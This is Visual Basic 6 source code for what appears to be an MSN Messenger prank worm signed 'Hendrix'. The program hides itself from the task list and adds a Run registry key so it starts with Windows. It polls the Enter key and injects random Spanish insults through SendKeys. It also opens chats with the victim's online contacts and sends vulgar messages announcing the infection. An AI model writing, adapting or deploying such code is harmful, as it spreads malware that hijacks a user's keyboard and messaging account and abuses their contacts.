Option Explicit
Public WithEvents MSN As MessengerAPI.Messenger
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
Dim Men As String, Palabra As Long
Dim KeyResult As String
Dim contactos As MessengerAPI.IMessengerContact
Dim user As IMessengerContact
Dim I As Integer





Private Sub Form_Load()
On Error Resume Next
App.TaskVisible = False
Dim Hendrix
Set MSN = New MessengerAPI.Messenger
Set Hendrix = CreateObject("WScript.Shell")
Hendrix.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Win32", App.Path & "\" & App.EXEName & ".exe"
End Sub

Private Sub Timer1_Timer()
On Error Resume Next
Palabra = Int((Rnd * 10) + 1)
Select Case Palabra
Case 1
        Men = "k te jodan!!"
Case 2
        Men = "Idiota"
Case 3
        Men = "Hijo de p**a"
Case 4
        Men = "Me cago en tu p**a madre"
Case 5
        Men = "Cabron"
Case 6
        Men = "Me la kieres chupar???"
Case 7
        Men = "Me cago en la p**a zorra de tu madre"
Case 8
        Men = "Me cago en tus muertos!!!!"
Case 9
        Men = "Hijo de la gran p**a!!!!"
Case 10
        Men = "La zorra mas grande del planeta??? TU p**a MADRE!!!!"
End Select

KeyResult = GetAsyncKeyState(13)
    If KeyResult = -32767 Then
         SendKeys Men & "{enter}"
    End If

MSN.OptionsPages 0, MOPT_GENERAL_PAGE
SendKeys (Text1.Text & "{ENTER}")



End Sub

Private Sub Timer2_Timer()
On Error Resume Next
For Each user In MSN.MyContacts

If contactos.Status = MISTATUS_ONLINE Then
List1.AddItem contactos.SigninName
End If

For I = 0 To List1.ListCount - 1
MSN.InstantMessage List1.List(I)
SendKeys (" Kieres follar konmigo?? Soy un kapullo!!!! [Infectado kon un programa de Hendrix] ")
SendKeys ("{ENTER}")
Next
Next

End Sub

Private Sub Timer3_Timer()
On Error Resume Next
Timer1.Enabled = True
Timer2.Enabled = True
End Sub